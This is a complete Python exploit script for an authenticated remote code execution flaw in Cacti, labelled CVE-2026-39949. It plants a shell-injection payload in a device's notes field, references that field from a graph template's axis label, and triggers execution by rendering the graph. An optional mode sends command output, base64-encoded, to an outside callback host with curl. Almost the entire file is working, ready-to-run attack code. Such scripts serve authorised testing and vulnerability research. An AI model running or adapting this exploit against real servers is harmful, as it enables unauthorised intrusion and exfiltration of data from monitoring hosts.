#!/usr/bin/env python3
"""
Cacti ≤ 1.2.30 — Authenticated RCE via Host Variable Injection (CVE-2026-39949)

  python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin
  python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
  python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
"""

import argparse, sys, time, re
import urllib.request, urllib.parse, http.cookiejar

R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[1m"; E = "\033[0m"

def banner():
    print(fr"""{R}{B}
\|/          (__)    
     `\------(oo)
       ||    (__)
       ||w--||     \|/
   \|/
{E}{B}Cacti Authenticated RCE — Host Variable Injection into RRDtool{E}
""")


class CactiExploit:
    def __init__(self, url, user, pw):
        self.base = url.rstrip('/')
        self.user = user
        self.pw   = pw
        self.jar  = http.cookiejar.CookieJar()
        self.http = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))
        self.http.addheaders = [('User-Agent', 'Mozilla/5.0')]

    def get(self, path, params=None):
        url = self.base + path + ('?' + urllib.parse.urlencode(params) if params else '')
        r = self.http.open(url, timeout=15)
        return r.read().decode('utf-8', errors='replace'), r.geturl()

    def post(self, path, data):
        r = self.http.open(urllib.request.Request(
            self.base + path,
            urllib.parse.urlencode(data).encode(),
            {'Content-Type': 'application/x-www-form-urlencoded'}
        ), timeout=15)
        return r.read().decode('utf-8', errors='replace'), r.geturl()

    def csrf(self, path, params=None):
        html, _ = self.get(path, params)
        m = re.search(r'name=["\']__csrf_magic["\'][^>]*value=["\']([^"\']+)["\']', html)
        return m.group(1) if m else ''

    def login(self):
        print(f"[*] Authenticating as {self.user}...")
        self.post('/index.php', {
            'action': 'login', 'login_username': self.user,
            'login_password': self.pw, '__csrf_magic': self.csrf('/index.php'),
        })
        for c in self.jar:
            if 'cacti' in c.name.lower():
                print(f"  {G}[+] Session established{E}")
                return True
        print(f"  {R}[-] Login failed{E}"); return False

    def create_device(self, notes):
        _, url = self.post('/host.php', {
            'action': 'save', 'save_component_host': '1', 'reindex_method': '1',
            'id': '0', 'host_template_id': '0', 'description': 'poc',
            'hostname': '127.0.0.1', 'location': '', 'poller_id': '1', 'site_id': '1',
            'device_threads': '1', 'availability_method': '0', 'snmp_options': '0',
            'ping_method': '1', 'ping_port': '23', 'ping_timeout': '400',
            'ping_retries': '1', 'snmp_version': '2', 'snmp_community': 'public',
            'snmp_security_level': 'authPriv', 'snmp_auth_protocol': 'MD5',
            'snmp_username': '', 'snmp_password': '', 'snmp_password_confirm': '',
            'snmp_priv_protocol': 'DES', 'snmp_priv_passphrase': '',
            'snmp_priv_passphrase_confirm': '', 'snmp_context': '', 'snmp_engine_id': '',
            'snmp_port': '161', 'snmp_timeout': '500', 'snmp_retries': '3',
            'max_oids': '10', 'bulk_walk_size': '0', 'external_id': '',
            'notes': notes, '__csrf_magic': self.csrf('/host.php', {'action': 'edit'}),
        })
        m = re.search(r'[?&]id=(\d+)', url)
        return m.group(1) if m else None

    def create_template(self):
        _, url = self.post('/graph_templates.php', {
            'action': 'save', 'save_component_template': '1',
            'graph_template_id': '0', 'graph_template_graph_id': '0',
            'name': 'poc', 'class': 'unassigned', 'version': '', 'title': 'poc',
            'vertical_label': '', 'image_format_id': '1', 'height': '200',
            'width': '700', 'base_value': '1000', 'auto_scale_opts': '2',
            'upper_limit': '100', 'lower_limit': '0', 'unit_value': '',
            'unit_exponent_value': '', 'unit_length': '', 'right_axis': '',
            'right_axis_label': '|host_notes|',          # injection vector
            'right_axis_format': '0', 'right_axis_formatter': '0',
            'left_axis_format': '0', 'left_axis_formatter': '0',
            'tab_width': '', 'legend_position': '0', 'legend_direction': '0',
            'rrdtool_version': '1.7.2',
            '__csrf_magic': self.csrf('/graph_templates.php', {'action': 'template_edit'}),
        })
        m = re.search(r'[?&]id=(\d+)', url)
        return m.group(1) if m else None

    def create_graph(self, host_id, tmpl_id):
        self.post('/graphs_new.php', {
            'save_component_graph': '1', 'cg_g': tmpl_id, 'host_id': str(host_id),
            'host_template_id': '0', 'action': 'save', 'graph_type': '-2', 'rows': '-1',
            '__csrf_magic': self.csrf('/graphs_new.php', {'reset': 'true', 'host_id': host_id}),
        })
        html, _ = self.get('/host.php', {'action': 'edit', 'id': host_id})
        ids = re.findall(r'graph_edit&(?:amp;)?id=(\d+)', html)
        return ids[-1] if ids else None

    def trigger(self, graph_id):
        try:
            self.get('/graph_image.php', {
                'local_graph_id': graph_id, 'rra_id': '0',
                'graph_start': '-3600', 'graph_end': '0',
            })
        except Exception:
            pass

    def run(self, cmd, oob=None):
        if oob:
            payload_cmd = f"curl -sk http://{oob}/$({cmd}|base64 -w0)"
        else:
            payload_cmd = cmd

        notes = f"'; ({payload_cmd} &); '"

        print(f"[*] Creating device...")
        host_id = self.create_device(notes)
        if not host_id: print(f"  {R}[-] Failed{E}"); return False
        print(f"  {G}[+] host_id={host_id}{E}")

        print(f"[*] Creating template...")
        tmpl_id = self.create_template()
        if not tmpl_id: print(f"  {R}[-] Failed{E}"); return False
        print(f"  {G}[+] template_id={tmpl_id}{E}")

        print(f"[*] Creating graph...")
        graph_id = self.create_graph(host_id, tmpl_id)
        if not graph_id: print(f"  {R}[-] Failed{E}"); return False
        print(f"  {G}[+] graph_id={graph_id}{E}")

        print(f"[*] Triggering...")
        time.sleep(1)
        self.trigger(graph_id)
        time.sleep(1)

        print(f"\n{G}{B}[+] Done.{E}")
        if oob:
            print(f"    {Y}Check collaborator for HTTP callback — path = base64({cmd}){E}")
        return True


def main():
    banner()
    p = argparse.ArgumentParser(description='Cacti <= 1.3.0-dev Authenticated RCE')
    p.add_argument('--url',  required=True)
    p.add_argument('--user', default='admin')
    p.add_argument('--pass', dest='password', default='admin')
    p.add_argument('--cmd',  default='id', help='Command to execute (default: id)')
    p.add_argument('--oob',  help='OOB callback host (Burp Collaborator / interactsh)')
    args = p.parse_args()

    e = CactiExploit(args.url, args.user, args.password)
    if not e.login(): sys.exit(1)
    e.run(cmd=args.cmd, oob=args.oob)


if __name__ == '__main__':
    main()